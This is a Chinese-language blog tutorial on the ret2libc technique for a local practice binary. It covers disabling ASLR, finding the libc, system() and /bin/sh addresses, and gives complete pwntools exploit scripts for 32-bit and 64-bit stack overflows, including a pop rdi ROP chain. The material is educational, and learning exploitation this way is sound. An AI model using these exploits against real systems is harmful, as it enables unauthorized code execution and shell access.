- 发布于
ret2libc
- 作者
- Name
- CuB3y0nd
- GitHub
- @CuB3y0nd
ret2libc 基于 C 标准库中的 system
函数。该函数会执行传递给它的任何内容,这使其成为最佳攻击目标。libc 中的另一个内容是字符串 /bin/sh
;如果你将此字符串传递给 system
函数,它会弹出一个 shell。
这就是它的全部内容——将 /bin/sh
作为参数传递给 system
。
ret2libc.zip
Binary
0x01 禁用 ASLR
首先,我们将禁用 ASLR。ASLR 随机化 libc 在内存中的地址,这意味着我们无法计算出 system()
和 /bin/sh
的位置。为了便于你理解一般理论,我们将从禁用它开始。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0x02 手动利用
1x01 获取 libc 地址
幸运的是 Linux 有一个名为 ldd
的命令用于动态链接。如果我们用它来查看编译好的 ELF 文件,它会告诉我们它使用的库及其地址。
$ ldd vuln-32
linux-gate.so.1 (0xf7eda000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7c00000)
/lib/ld-linux.so.2 => /usr/lib/ld-linux.so.2 (0xf7edd000)
libc.so.6
是我们需要的 libc 文件,所以 libc 的地址是 0xf7c00000
。
Note
libc
地址以及 system()
和 /bin/sh
的偏移量对你来说可能不同。这不是问题,它只是意味着你有不同的版本的 libc
。
1x02 获取 system() 的地址
为了调用 system()
,我们肯定需要它在内存中的地址。为此,我们可以使用 readelf
命令。
$ readelf -s /usr/lib32/libc.so.6 | grep system
3209: 0004f610 63 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
-s
参数告诉 readelf
查看当前 ELF 文件的符号表,符号表中的信息只包括 全局变量和函数名。这里我们可以发现 system()
距 libc
库的偏移量是 0x4f610
。
1x03 获取 /bin/sh 的地址
由于 /bin/sh
只是一个字符串,因此我们可以在刚刚通过 ldd
找到的动态链接库的基础上使用 strings
指令。
Important
当将字符串作为参数传递时,你需要传递指向字符串的 地址,而不是字符串的十六进制表示形式,因为这就是 C 语言所规定的方式。
$ strings -a -t x /usr/lib32/libc.so.6 | grep /bin/sh
1c4dcd /bin/sh
-a
告诉它扫描整个文件;-t x
告诉它以十六进制格式输出偏移量。
1x04 32-bit 漏洞利用
from pwn import *
context(os='linux', arch='amd64', log_level='info')
p = process('./vuln-32')
libc_addr = 0xf7c00000
system_addr = libc_addr + 0x4f610
shell_addr = libc_addr + 0x1c4dcd
payload = b'A' * 76 # Padding 到 EIP
payload += p32(system_addr) # system() 的地址
payload += p32(0x0) # 避免异常
payload += p32(shell_addr) # /bin/sh 的地址
p.sendline(payload)
p.interactive()
1x05 64-bit 漏洞利用
使用链接到 64-bit 程序的 libc
重复上述过程。
Important
你必须使用 pop rdi; ret
gadget 将其放入 RDI 寄存器中,而不是在返回地址之后传递参数。
$ ROPgadget --binary vuln-64 | grep rdi
[...]
0x00000000004011cb : pop rdi ; ret
[...]
$ ROPgadget --binary vuln-64 | grep rsi
[...]
0x00000000004011c9 : pop rsi ; pop r15 ; ret
[...]
from pwn import *
context(os='linux', arch='amd64', log_level='info')
p = process('./vuln-64')
libc_addr = 0x7ffff7c00000
system_addr = libc_addr + 0x4f760
shell_addr = libc_addr + 0x19fe34
POP_RDI, POP_RSI_R15 = 0x4011cb, 0x4011c9
payload = b'A' * 72 # Padding 到 RIP
payload += p64(POP_RDI) # pop rdi ; ret
payload += p64(shell_addr) # 传入 /bin/sh 的地址
payload += p64(POP_RSI_R15) # pop rsi ; pop r15 ; ret
payload += p64(0x0) * 2 # 填充 rsi 和 r15
payload += p64(system_addr) # 把 system() 的地址传入 RIP
p.sendline(payload)
p.interactive()
0x03 使用 pwntools 实现半自动
pwntools 拥有大量功能,使这一切变得更加简单。
# 32-bit
from pwn import *
context(os='linux', arch='amd64', log_level='info')
elf = context.binary = ELF('./vuln-32')
p = process()
libc = elf.libc # 获取程序正在使用的 libc
libc.address = 0xf7c00000 # 设置 libc 地址
system_addr = libc.sym['system'] # 获取 system() 的地址
shell_addr = next(libc.search(b'/bin/sh')) # 获取 /bin/sh 的地址
payload = b'A' * 76 # Padding 到 EIP
payload += p32(system_addr) # system() 的地址
payload += p32(0x0) # 避免异常
payload += p32(shell_addr) # /bin/sh 的地址
p.sendline(payload)
p.interactive()
64-bit 的半自动脚本本质上是一样的。
Tip
如果题目提供了 libc ,也可以这样用:
libc = ELF('libc.so.6')
print(libc.sym['system'])
Note
pwntools 可以通过其 ROP 功能进一步简化它,但我不会在这里展示它们。